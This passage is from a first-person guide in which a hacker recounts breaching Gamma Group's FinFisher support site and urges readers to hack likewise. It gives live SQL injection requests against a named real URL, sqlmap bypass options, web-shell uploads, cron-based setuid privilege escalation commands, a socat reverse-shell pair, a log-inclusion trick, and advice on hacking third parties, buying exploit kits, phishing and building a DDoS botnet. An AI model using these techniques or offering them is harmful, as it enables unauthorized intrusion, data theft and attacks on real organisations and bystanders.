for public viewing like test.company.com or dev.company.com you’ll often find
interesting stuff just by looking at them.

2) Run nikto [0]. This will check for things like webserver/.svn/,
webserver/backup/, webserver/phpinfo.php, and a few thousand other common
mistakes and misconfigurations.

3) Identify what software is being used on the website. WhatWeb is useful [1]

4) Depending on what software the website is running, use more specific tools
like wpscan [2], CMS-Explorer [3], and Joomscan [4].

First try that against all services to see if any have a misconfiguration,
publicly known vulnerability, or other easy way in. If not, it’s time to move
on to finding a new vulnerability:

5) Custom coded web apps are more fertile ground for bugs than large widely used
projects, so try those first. I use ZAP [5], and some combination of its
automated tests along with manually poking around with the help of its
intercepting proxy.

6) For the non-custom software they’re running, get a copy to look at. If it’s
free software you can just download it. If it’s proprietary you can usually
pirate it. If it’s proprietary and obscure enough that you can’t pirate it you
can buy it (lame) or find other sites running the same software using google,
find one that’s easier to hack, and get a copy from them.

[0] http://www.cirt.net/nikto2
[1] http://www.morningstarsecurity.com/research/whatweb
[2] http://wpscan.org/
[3] https://code.google.com/p/cms-explorer/
[4] http://sourceforge.net/projects/joomscan/
[5] https://code.google.com/p/zaproxy/

For finsupport.finfisher.com the process was:

* Start nikto running in the background.

* Visit the website. See nothing but a login page. Quickly check for sqli in the
login form.

* See if WhatWeb knows anything about what software the site is running.

* WhatWeb doesn’t recognize it, so the next question I want answered is if this
is a custom website by Gamma, or if there are other websites using the same
software.

* I view the page source to find a URL I can search on (index.php isn’t
exactly unique to this software). I pick Scripts/scripts.js.php, and google:
allinurl:”Scripts/scripts.js.php”

* I find there’s a handful of other sites using the same software, all coded by
the same small webdesign firm. It looks like each site is custom coded but
they share a lot of code. So I hack a couple of them to get a collection of
code written by the webdesign firm.

At this point I can see the news stories that journalists will write to drum
up views: “In a sophisticated, multi-step attack, hackers first compromised a
web design firm in order to acquire confidential data that would aid them in
attacking Gamma Group…”

But it’s really quite easy, done almost on autopilot once you get the hang of
it. It took all of a couple minutes to:

* google allinurl:”Scripts/scripts.js.php” and find the other sites

* Notice they’re all sql injectable in the first url parameter I try.

* Realize they’re running Apache ModSecurity so I need to use sqlmap [0] with
the option –tamper=’tamper/modsecurityversioned.py’

* Acquire the admin login information, login and upload a php shell [1] (the
check for allowable file extensions was done client side in javascript), and
download the website’s source code.

[0] http://sqlmap.org/
[1] https://epinna.github.io/Weevely/

Looking through the source code they might as well have named it Damn Vulnerable
Web App v2 [0]. It’s got sqli, LFI, file upload checks done client side in
javascript, and if you’re unauthenticated the admin page just sends you back to
the login page with a Location header, but you can have your intercepting proxy
filter the Location header out and access it just fine.

[0] http://www.dvwa.co.uk/

Heading back over to the finsupport site, the admin /BackOffice/ page returns
403 Forbidden, and I’m having some issues with the LFI, so I switch to using the
sqli (it’s nice to have a dozen options to choose from). The other sites by the
web designer all had an injectable print.php, so some quick requests to:
https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 1=1
https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 2=1
reveal that finsupport also has print.php and it is injectable. And it’s
database admin! For MySQL this means you can read and write files. It turns out
the site has magicquotes enabled, so I can’t use INTO OUTFILE to write files.
But I can use a short script that uses sqlmap –file-read to get the php source
for a URL, and a normal web request to get the HTML, and then finds files
included or required in the php source, and finds php files linked in the HTML,
to recursively download the source to the whole site.

Looking through the source, I see customers can attach a file to their support
tickets, and there’s no check on the file extension. So I pick a username and
password out of the customer database, create a support request with a php shell
attached, and I’m in!

–[ 5 ]– (fail at) Escalating

___________
< got r00t? >
———–
\ ^__^
\ (oo)\_______
(__)\ )\/\
||—-w |
|| ||
^^^^^^^^^^^^^^^^

Root over 50% of linux servers you encounter in the wild with two easy scripts,
Linux_Exploit_Suggester [0], and unix-privesc-check [1].

[0] https://github.com/PenturaLabs/Linux_Exploit_Suggester
[1] https://code.google.com/p/unix-privesc-check/

finsupport was running the latest version of Debian with no local root exploits,
but unix-privesc-check returned:
WARNING: /etc/cron.hourly/mgmtlicensestatus is run by cron as root. The user
www-data can write to /etc/cron.hourly/mgmtlicensestatus
WARNING: /etc/cron.hourly/webalizer is run by cron as root. The user www-data
can write to /etc/cron.hourly/webalizer

so I add to /etc/cron.hourly/webalizer:
chown root:root /path/to/my_setuid_shell
chmod 04755 /path/to/my_setuid_shell

wait an hour, and ….nothing. Turns out that while the cron process is running
it doesn’t seem to be actually running cron jobs. Looking in the webalizer
directory shows it didn’t update stats the previous month. Apparently after
updating the timezone cron will sometimes run at the wrong time or sometimes not
run at all and you need to restart cron after changing the timezone. ls -l
/etc/localtime shows the timezone got updated June 6, the same time webalizer
stopped recording stats, so that’s probably the issue. At any rate, the only
thing this server does is host the website, so I already have access to
everything interesting on it. Root wouldn’t get much of anything new, so I move
on to the rest of the network.

–[ 6 ]– Pivoting

The next step is to look around the local network of the box you hacked. This
is pretty much the same as the first Scanning & Exploiting step, except that
from behind the firewall many more interesting services will be exposed. A
tarball containing a statically linked copy of nmap and all its scripts that you
can upload and run on any box is very useful for this. The various nfs-* and
especially smb-* scripts nmap has will be extremely useful.

The only interesting thing I could get on finsupport’s local network was another
webserver serving up a folder called ‘qateam’ containing their mobile malware.

–[ 7 ]– Have Fun

Once you’re in their networks, the real fun starts. Just use your imagination.
While I titled this a guide for wannabe whistleblowers, there’s no reason to
limit yourself to leaking documents. My original plan was to:
1) Hack Gamma and obtain a copy of the FinSpy server software
2) Find vulnerabilities in FinSpy server.
3) Scan the internet for, and hack, all FinSpy C&C servers.
4) Identify the groups running them.
5) Use the C&C server to upload and run a program on all targets telling them
who was spying on them.
6) Use the C&C server to uninstall FinFisher on all targets.
7) Join the former C&C servers into a botnet to DDoS Gamma Group.

It was only after failing to fully hack Gamma and ending up with some
interesting documents but no copy of the FinSpy server software that I had to
make due with the far less lulzy backup plan of leaking their stuff while
mocking them on twitter.
Point your GPUs at FinSpy-PC+Mobile-2012-07-12-Final.zip and crack the password
already so I can move on to step 2!

–[ 8 ]– Other Methods

The general method I outlined above of scan, find vulnerabilities, and exploit
is just one way to hack, probably better suited to those with a background in
programming. There’s no one right way, and any method that works is as good as
any other. The other main ways that I’ll state without going into detail are:

1) Exploits in web browers, java, flash, or microsoft office, combined with
emailing employees with a convincing message to get them to open the link or
attachment, or hacking a web site frequented by the employees and adding the
browser/java/flash exploit to that.
This is the method used by most of the government hacking groups, but you don’t
need to be a government with millions to spend on 0day research or subscriptions
to FinSploit or VUPEN to pull it off. You can get a quality russian exploit kit
for a couple thousand, and rent access to one for much less. There’s also
metasploit browser autopwn, but you’ll probably have better luck with no
exploits and a fake flash updater prompt.

2) Taking advantage of the fact that people are nice, trusting, and helpful 95%
of the time.
The infosec industry invented a term to make this sound like some sort of
science: “Social Engineering”. This is probably the way to go if you don’t know
too much about computers, and it really is all it takes to be a successful
hacker [0].

[0] https://www.youtube.com/watch?v=DB6ywr9fngU

–[ 9 ]– Resources

Links:

* https://www.pentesterlab.com/exercises/
* http://overthewire.org/wargames/
* http://www.hackthissite.org/
* http://smashthestack.org/
* http://www.win.tue.nl/~aeb/linux/hh/hh.html
* http://www.phrack.com/
* http://pen-testing.sans.org/blog/2012/04/26/got-meterpreter-pivot
* http://www.offensive-security.com/metasploit-unleashed/PSExec_Pass_The_Hash
* https://securusglobal.com/community/2013/12/20/dumping-windows-credentials/
* https://www.netspi.com/blog/entryid/140/resources-for-aspiring-penetration-testers
(all his other blog posts are great too)
* https://www.corelan.be/ (start at Exploit writing tutorial part 1)
* http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
One trick it leaves out is that on most systems the apache access log is
readable only by root, but you can still include from /proc/self/fd/10 or
whatever fd apache opened it as. It would also be more useful if it mentioned
what versions of php the various tricks were fixed in.
* http://www.dest-unreach.org/socat/
Get usable reverse shells with a statically linked copy of socat to drop on
your target and:
target$ socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp-listen:PORTNUM
host$ socat file:`tty`,raw,echo=0 tcp-connect:localhost:PORTNUM
It’s also useful for setting up weird pivots and all kinds of other stuff.

Books:

* The Web Application Hacker’s Handbook
* Hacking: The Art of Exploitation
* The Database Hacker’s Handbook
* The Art of Software Security Assessment
* A Bug Hunter’s Diary
* Underground: Tales of Hacking, Madness, and Obsession on the Electronic Frontier
* TCP/IP Illustrated

Aside from the hacking specific stuff almost anything useful to a system
administrator for setting up and administering networks will also be useful for
exploring them. This includes familiarity with the windows command prompt and unix
shell, basic scripting skills, knowledge of ldap, kerberos, active directory,
networking, etc.

–[ 10 ]– Outro

You’ll notice some of this sounds exactly like what Gamma is doing. Hacking is a
tool. It’s not selling hacking tools that makes Gamma evil. It’s who their
customers are targeting and with what purpose that makes them evil. That’s not
to say that tools are inherently neutral. Hacking is an offensive tool. In the
same way that guerrilla warfare makes it harder to occupy a country, whenever
it’s cheaper to attack than to defend it’s harder to maintain illegitimate
authority and inequality. So I wrote this to try to make hacking easier and more
accessible. And I wanted to show that the Gamma Group hack really was nothing
fancy, just standard sqli, and that you do have the ability to go out and take
similar action.

Solidarity to everyone in Gaza, Israeli conscientious-objectors, Chelsea
Manning, Jeremy Hammond, Peter Sunde, anakata, and all other imprisoned
hackers, dissidents, and criminals!